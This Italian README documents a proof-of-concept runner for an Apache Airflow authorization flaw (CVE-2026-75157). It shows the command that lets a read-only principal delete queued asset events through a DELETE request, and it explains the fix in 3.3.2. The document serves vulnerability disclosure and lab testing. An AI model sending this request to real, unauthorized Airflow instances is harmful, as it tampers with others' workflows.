
PoC HTTP universale autorizzato standalone per CVE-2026-75157
PoC di ricerca sulla sicurezza autorizzata per la vulnerabilità di autorizzazione degli eventi in coda di Apache Airflow nelle versioni precedenti alla 3.3.2.
Eseguire solo contro un'istanza Airflow di proprietà o per cui si è esplicitamente autorizzati al test. Il runner predefinito rifiuta target non-loopback. Questo repository non contiene logica di scansione, enumerazione dei target, persistenza, furto di credenziali o payload distruttivi.
README.md
poc.py
poc.py è un runner di richieste HTTP universale e consapevole del target. Accetta l'URL di destinazione, il metodo, il percorso, gli header, il body, la sorgente di autenticazione e il risultato atteso dalla riga di comando invece di codificare un host in modo fisso.
Controllo di integrità contro un laboratorio Airflow locale:
python3 poc.py \
--target http://127.0.0.1:18080 \
--path /api/v2/monitor/health \
--method GET \
--expect-status 200 \
--expect-body healthy
Trigger della CVE contro un'istanza Airflow locale vulnerabile già preparata:
export AIRFLOW_POC_TOKEN='lab-only-restricted-token'
python3 poc.py \
--target http://127.0.0.1:18080 \
--path /api/v2/dags/cve_2026_75157_poc_dag/assets/queuedEvents \
--method DELETE \
--bearer-env AIRFLOW_POC_TOKEN \
--expect-status 204
Il token deve appartenere a un principal usa e getta con accesso in lettura ai DAG e accesso in eliminazione agli Assets. Il comportamento vulnerabile atteso è che il principal con restrizioni possa eliminare l'evento in coda. Airflow 3.3.2 o versioni successive dovrebbe rifiutare la stessa richiesta a meno che il principal non abbia anche accesso in modifica ai DAG.
--target URL Target HTTP(S) assoluto obbligatorio
--path PATH Percorso opzionale concatenato a --target
--method METHOD GET, POST, PUT, PATCH, DELETE, HEAD
--header 'Name: Value' Header di richiesta ripetibile
--bearer-env ENV Legge un bearer token da ENV senza stamparlo
--json JSON Body della richiesta in JSON
--body-file FILE Body della richiesta grezzo
--expect-status STATUS Asserzione di stato atteso ripetibile
--expect-body TEXT Asserzione sul body della risposta ripetibile
--timeout SECONDS
--no-follow-redirect
--allow-non-loopback Opt-in esplicito per un target autorizzato non di laboratorio
Il runner restituisce codice di uscita 0 per un'asserzione superata, 1 per errori di ambito/trasporto/argomenti e 2 per un fallimento di asserzione HTTP. I valori di autorizzazione e cookie vengono oscurati nell'output.
Prima di Airflow 3.3.2, le route DELETE di queued-events verificavano l'asse DAG con permesso di lettura anziché di modifica. La correzione cambia il requisito di autorizzazione del DAG al permesso di livello scrittura. Questa PoC invia la richiesta HTTP reale; non crea l'utente di laboratorio né il fixture del database.